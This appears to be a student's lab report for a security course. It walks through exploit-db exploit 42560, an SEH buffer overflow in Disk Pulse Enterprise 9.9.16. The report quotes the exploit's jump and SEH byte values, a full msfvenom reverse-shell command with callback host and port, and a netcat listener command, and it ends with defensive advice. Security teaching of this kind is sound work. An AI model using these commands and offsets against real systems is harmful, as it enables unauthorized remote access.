Lab 5 – Let’s Crash and Callback  
CIS 450  
Krutarth Panchal

### Section 1 – Exploiting Research

1. What website holds an exploit repository that is accessible via both the internet and through the Kali Operating System?  
   A screenshot of a computer

   Description automatically generated  
     
   <https://exploit-db.com> website.
2. What is the exploit-db exploit number for Disk Pulse Enterprise 9.9.16 – Buffer Overflow (SEH)  
   A screenshot of a computer

   Description automatically generated  
   The exploit number is: *42560*
3. What command can be run to interface with the exploit-db repository on the GHOST Operating System?  
   - *searchsploit* is the command to search for exploits from exploit-db.com
4. What command could you run to update searchsploit on the GHOST Operating System?A computer screen shot of white text

   Description automatically generated  
   command *- searchsploit -u* is used to update repository.
5. What command could you run to find the Disk Pulse Enterprise 9.9.16?  
   A screenshot of a computer program

   Description automatically generated  
     
   As shown in screenshot, command *searchsploit disk pulse enterprise* OR *searchsploit 42560 will find the exploit.*
6. What command could you use to copy the Disk Pulse Python script to your current directory?  
     
     
   As per above figure, command:   
   *cp/opt/exploit-database/exploits/windows/remote/42560.py* to copy *42560.py* file from *exploit-db* repository to user’s working directory.

### Section 2 – Review Disk Pulse Enterprise Script

1. What is the first line of 42560.py?  
A screenshot of a computer

Description automatically generated  
First line is: *#!/usr/bin/env/python*  
It tells the interpreter to use python to interpret the script.

2. What imports are used on line 11 in 42560.py?  
 a. *socket*

b. *sys*

3. What are the variables for the following in 42560.py?  
A close up of a number

Description automatically generated  
 a. Target: *127.0.0.1*

b. Port: *8080*

4. What are the options for the msfvenom command in 42560.py?  
  
 a. -p: Payload for attacking victim’s machine. *windows/shell\_reverse\_tcp*

b. LHOST: Local host, IP address of attacker machine

c. LPORT: Local Listening port to which exploit will be sent to victim’s machine. 4443

d. EXITFUNC: Function to execute after delivery of payload. None

e. -e: enable msfvenom tool, *x86/apha\_mixed*

f. -f: Output of exploit, *python*

5. What variable is used for the shellcode in 42560.py?  
 a. *buf = “”*

6. What variable is used to put together the buffer as well as the offsets?  
 a. *payload = buf # shellcode begins from start of the buffer*

7. What are the answers to the following?  
 a. NSEH (JMP SHORT Address): *\xEB\x10\x90\x90' # NSEH, a short jump of 10 bytes*

b. SEH (POP EDIT Address): *'\xDD\xAD\x13\x10' # SHE : POP EDI POP ESI RET 04 libpal.dll*

c. Second JMP Address: *'\xE9\x25\xBF\xFF\xFF' # Second JMP to ShellCode*

d. Character for NOPSLED: *'\x90' \* 10 # NOPsled*

8. What variable is used to put together the HTTP request with the payload?  
A screenshot of a computer

Description automatically generated  
As shown in the above figure, variable *packet* is used to combine HTTP request with the payload.

### Section 3 – Adding our Shellcode and Throwing the Exploit

1. What command do you use to generate Shellcode?  
A screenshot of a computer

Description automatically generated  
command used: *msfvenom -p windows/shell\_reverse\_tcp LHOST=192.168.1.121 LPORT=4443 EXITFUNC=none -e x86/alpha\_mixed -f python*

2. What are the x86 and x64 payload options for the meterpreter reverse\_tcp shell?  
EXITFUNC, EXTENTIONS, ETINIT, LHOST and LPORT are payload options for *windows/meterpreter\_reverse\_tcp*

3. What are the x86 and x64 payload options for the reverse\_tcp shell?  
EXITFUNC, LHOST and LPORT are options for windows/Shell\_reverse\_tcp

4. What options are used to set the callback host and port?  
 a. LHOST  
 b. LPORT

5. What is the updated IP address of the target running Disk Pulse Enterprise 9.9.16?  
 192.168.1.124

6. What command is used to run 42560.py once we are ready to throw the exploit?  
   
command: python 42560.py

7. What commands are run to connect the target to port 4443?  
A blue background with white text

Description automatically generated

Command: nc -nvlp 4443

> Configuring and enabling Web server on Disk Pulse.  
  
A screenshot of a computer

Description automatically generated  
  
As shown in the figure above port 8080 was set and enabled.  
  
  
  
> Result:  
  
A blue background with white text and green arrows

Description automatically generated  
  
As per as above screenshot, upon executing the payload the connection to the victim’s machine was refused.  
  
I restarted both the VMs and re-did the lab twice however I still got connection refused error.

### Summary of the Lab

This CPTC lab teaches how to use the Metasploit framework to create an offensive tool which exploits a weakness of the Disk Pulse Enterprise (DPE) software, if successfully executed user running DPE may not realize that an attacker has penetrated their network and caused beachhead in their network.   
  
This lab also shows that team who maintains computer networks must always apply the current security updates recommended by software publishers and use other security controls to attempt to detect or reduce the chances of an threat actor performing this attack. Solution can be to deny all outbound traffic to unauthorized IP addresses, and deploying intrusion detection systems which specializes in capturing and sending alerts to the administrators.

-------------------------------------------- End of Lab -------------------------------------------------------